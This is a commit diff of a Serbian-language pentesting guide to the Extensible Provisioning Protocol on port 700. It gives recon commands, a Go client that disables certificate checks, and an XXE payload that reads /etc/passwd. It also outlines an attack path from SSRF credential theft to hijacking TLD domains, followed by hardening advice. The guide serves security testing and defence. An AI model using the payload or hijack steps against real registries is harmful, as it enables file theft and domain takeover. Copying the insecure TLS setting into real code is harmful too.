Translated ['src/network-services-pentesting/700-pentesting-epp.md'] to

This commit is contained in:
Translator 2025-08-04 22:13:47 +00:00
parent dd0c0769a1
commit b3281cb4be

View File

@ -4,7 +4,7 @@
## Osnovne informacije
Extensible Provisioning Protocol (EPP) je mrežni protokol koji se koristi za **upravljanje domenama i drugim internet resursima** od strane registara domena i registrara. Omogućava automatizaciju procesa registracije, obnavljanja, prenosa i brisanja domena, osiguravajući standardizovan i siguran komunikacioni okvir između različitih entiteta u sistemu domena (DNS). EPP je dizajniran da bude fleksibilan i proširiv, omogućavajući dodavanje novih funkcija i komandi kako se potrebe internet infrastrukture razvijaju.
Extensible Provisioning Protocol (EPP) je mrežni protokol koji se koristi za **upravljanje domenima i drugim internet resursima** od strane registara domena i registrara. Omogućava automatizaciju procesa registracije, obnavljanja, prenosa i brisanja domena, osiguravajući standardizovan i siguran komunikacioni okvir između različitih entiteta u sistemu domena (DNS). EPP je dizajniran da bude fleksibilan i proširiv, omogućavajući dodavanje novih funkcija i komandi kako se potrebe internet infrastrukture razvijaju.
U suštini, to je jedan od protokola koje **TLD registrar nudi registrarima domena** za registraciju novih domena u TLD.
@ -12,4 +12,104 @@ U suštini, to je jedan od protokola koje **TLD registrar nudi registrarima dome
[**U ovom veoma interesantnom članku**](https://hackcompute.com/hacking-epp-servers/) možete videti kako su neki istraživači bezbednosti otkrili da su nekoliko **implementacija ovog protokola** bile ranjive na XXE (XML External Entity) jer ovaj protokol koristi XML za komunikaciju, što bi omogućilo napadačima da preuzmu desetine različitih TLD-ova.
---
## Enumeracija i Recon
EPP serveri gotovo uvek slušaju na TCP `700/tcp` preko TLS-a. Tipična implementacija takođe sprovodi **uzajamni TLS (mTLS)**, tako da klijent mora da predstavi važeći sertifikat koji je izdao CA registra. Ipak, mnoge privatne testne ili pre-produkcijske implementacije zaboravljaju tu kontrolu:
```bash
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
```
Ako server ne prekine vezu nakon TLS rukovanja, možete pokušati da pošaljete neautentifikovanu `<hello/>` poruku:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
```
### Open-source klijenti korisni za testiranje
* **epp-client (Go)** aktivno održavan, podržava TCP/TLS i EPP-over-HTTPS (RFC 8730):
`go install github.com/domainr/epp/cmd/epp@latest`
* **gandi/go-epp** minimalna biblioteka klijenta koja se lako može instrumentisati za fuzzing ili nuclei-stil radne tokove.
* **afq984/php-epp-client** PHP implementacija koju koriste mnogi mali registrari; zgodan cilj za pregled koda.
Primer minimalnog skripta za prijavu+proveru sa Go epp-client:
```go
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
```
---
## Uobičajene slabosti i ranjivosti 2023-2025
| Godina | Komponenta | CWE | Uticaj |
|--------|------------|-----|--------|
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Udaljeno čitanje fajlova i SSRF putem kreiranog `<epp>` payload-a (zakrpa: 2023-11-02) |
| 2024 | FRED EPP Server 2.x | CWE-322 Nedovoljna validacija TLS sertifikata | Zaobilaženje mTLS omogućilo neovlašćen pristup registraru |
| 2025 | Proprietary registrar panel | CWE-306 Nedostajuća autentifikacija za kritičnu funkciju | Tačka odobrenja prenosa domena izložena preko EPP-HTTP mosta |
### XXE / SSRF payload (radi protiv mnogih Java/Spring implementacija)
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
```
Kada je parser pogrešno konfiguran (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`), sadržaj datoteke se vraća unutar `<resData>` strukture.
### Ostala tipična otkrića
1. **Slaba politika kredencijala** EPP prijavne fraze kraće od 8 karaktera; brute-force je često izvodljiv jer specifikacija samo PREPORUČUJE (ne zahteva) ograničavanje brzine.
2. **Nedostajući `registryLock` / `serverUpdateProhibited` status** nakon autentifikacije, napadači mogu odmah ažurirati NS zapise i ukrasti saobraćaj.
3. **Nepotpisane poruke za anketu** neke implementacije još uvek ne potpisuju poruke Q&A anketa, omogućavajući spoofing/phishing operatera registra.
---
## Put napada: Od nule do otmice TLD-a
1. Otkrijte EPP krajnju tačku (često skrivena iza generičkog hosta kao što je `ot&e.<tld>.nic.<cc>`).
2. Iskoristite jednu od gornjih slabosti da dobijete kredencijale na nivou registra (XXE → SSRF do IMDSv1, eksfiltracija kredencijala, ili TLS-bypass).
3. Izdajte `<update>` zahteve da promenite `hostObj` zapise domena na servere imenom napadača.
4. (Opcionalno) Podnesite `<transfer>` da prebacite domen na registrar pod kontrolom napadača mnogi registri se još uvek oslanjaju na **jedan auth-code**.
5. Profit: potpuna kontrola DNS zone, mogućnost zahteva TLS sertifikata putem ACME.
---
## Odbrambene mere i učvršćivanje
* Sprovodite **mTLS sa klijent sertifikatima po registru** i pinujte CA registra.
* Postavite `parserFeature secure-processing=true` ili ekvivalentno da ubijete XXE.
* Izvršite **kontinuirano fuzzing** XML parsera (npr. sa `go-fuzz` ili `jazzer` za Java).
* Implementirajte **Registry Lock / server*Prohibited** statuse za domene visoke vrednosti.
* Pratite `poll` red za sumnjive `<transfer>` ili `<update>` komande i obaveštavajte u realnom vremenu.
* ICANN 2024 izmene ugovora o DNS-zloupotrebi zahtevaju od registara da dokažu kontrole brzine i autentifikacije iskoristite ih.
## Reference
* ICANN Savetodavni komitet za bezbednost i stabilnost (SSAC). "SAC118: Posledice neuspeha operatera registra da implementira EPP bezbednosne kontrole". 2024.
* HackCompute "Hacking EPP servera: zloupotreba XXE za otmicu TLD-ova" (2023).
{{#include ../banners/hacktricks-training.md}}